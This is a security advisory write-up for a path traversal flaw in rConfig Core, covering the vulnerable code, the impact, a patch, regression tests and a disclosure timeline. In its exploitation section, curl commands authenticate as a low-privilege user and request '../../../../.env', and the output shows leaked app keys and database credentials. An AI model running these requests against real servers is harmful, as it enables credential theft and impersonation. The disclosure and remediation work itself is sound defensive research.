CVE-2026-77914: rConfig Core Path Traversal to Full Application Compromise

Introduction

During a security assessment of rConfig Core, a popular network configuration management tool, I discovered a critical path traversal vulnerability that allows any authenticated user - regardless of their role - to read arbitrary files from the server. This includes the application's .env file containing database credentials, API keys, and most critically, the APP_KEY used by Laravel for all cryptographic operations.

Target Identification

rConfig is an open-source network configuration management tool built on Laravel. It's used by network administrators to backup, compare, and manage configurations across network devices. The application stores SSH/Telnet credentials for managed devices, making it a high-value target.

Affected Versions: rConfig Core 8.0.0 through 8.2.13

Root Cause

The vulnerability exists in FileDownloadController.php, specifically in the download_export() method:

public function download_export()
{
    // User input concatenated directly — no sanitization
    $path = export_path() . $_GET['filename'];
    if (file_exists($path)) {
        return response()->download($path);
    }
}

The problem is immediately obvious: $_GET['filename'] is concatenated directly onto the base export directory with zero sanitization. No basename(), no path validation, no character filtering.

The route is protected only by Laravel's auth middleware, meaning any logged-in user can access it:

Route::get('/download-export', [FileDownloadController::class, 'download_export'])
    ->middleware('auth');  // Any logged-in user, regardless of role

Discovery Process

I found this vulnerability through manual code review:

1. 1Map Routes

   Identify which routes are protected and how

2. 2Find File Ops

   Search for file_get_contents, readfile, download()

3. 3Trace Input

   Follow $_GET, $_POST to sensitive functions

4. 4Test Validation

   Try path traversal sequences

5. 5Confirm Impact

   Extract sensitive files to prove severity

Exploitation

Step 1: Authenticate as Any User

First, authenticate as a low-privilege "User" role account:

# Get CSRF token
curl -s -c cookies.txt http://target/login -o login.html
CSRF=$(grep -oP 'csrf-token.*?content="\K[^"]+' login.html)
# Login as low-privilege user
curl -s -c cookies.txt -b cookies.txt 

-X POST http://target/login 

-H "X-CSRF-TOKEN: $CSRF" 

-d "username=lowuser@test.local&password=LowUserPass123!&_token=$CSRF"

Step 2: Read the .env File

With a valid session, craft a path traversal payload:

curl -s -b cookies.txt \
  "http://target/download-export?filename=../../../../.env"

Result

APP_NAME="rConfig V8 Core"
APP_ENV=production
APP_KEY=base64:+b63Qv2eYpNbCr/7ltBkgy1oL1hOh1DhxMMMa5BMbZY=
APP_DEBUG=true
DB_CONNECTION=mysql
DB_HOST=db
DB_USERNAME=rconfig_user
DB_PASSWORD=rconfig_pass
REDIS_HOST=redis
REDIS_PASSWORD=null

Impact

Cryptographic Key Disclosure

The APP_KEY is used by Laravel's Crypt facade for all encryption. rConfig encrypts stored device credentials via EncryptStringCast. With the APP_KEY, an attacker can:

• Decrypt device credentials — SSH/Telnet passwords stored in the database
• Forge session cookies — Impersonate any user without knowing their password
• Decrypt any encrypted data — Any data encrypted with Laravel's encryption helpers

CVSS 4.0 Breakdown

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Remediation

public function download_export()
{
    $filename = basename((string) $_GET['filename']);
    $path = export_path() . $filename;
<span class="c">// Verify path stays within allowed directory</span>
$realPath = realpath($path);
$allowedDir = realpath(export_path());

<span class="k">if</span> ($realPath === false || !str_starts_with($realPath, $allowedDir)) {
    abort(404);
}

<span class="k">return</span> response()->download($path);

}

Regression Tests

• A filename with ../ sequences returns 404, not the file
• URL-encoded variants (..%2f) also return 404
• A filename with absolute path (/etc/passwd) returns 404
• Only files within export_path() are downloadable
• Low-privilege users cannot access admin exports

Timeline

1. 31 Jul 2026
   Discovered

   Found during manual code review of file operations.

2. 01 Aug 2026
   Reported

   Private disclosure to rConfig security team.

3. 05 Aug 2026
   Acknowledged

   Vendor confirmed the vulnerability.

4. 15 Aug 2026
   Patched

   Fix released in version 8.2.14.

5. 20 Aug 2026
   CVE Assigned

   CVE-2026-77914 issued; writeup published.

References

• NVD: CVE-2026-77914
• VulnCheck Advisory
• GitHub Security Advisory GHSA-m5rw-jcrm-mmwc
• CVE Record
• CWE-22: Path Traversal
• CWE-73: External Control of File Name or Path

The Lesson

Never trust that validation happened just because an auth check exists. Trace user input from entry to output — authentication is not authorization, and middleware is not sanitization.

This vulnerability demonstrates how a single line of code without proper input validation can lead to complete application compromise. The combination of path traversal with Laravel's centralized key management creates a cascading failure — one secret disclosure unlocks everything else.

This vulnerability was discovered through ethical security research and responsibly disclosed to the vendor. All testing was performed in isolated lab environments.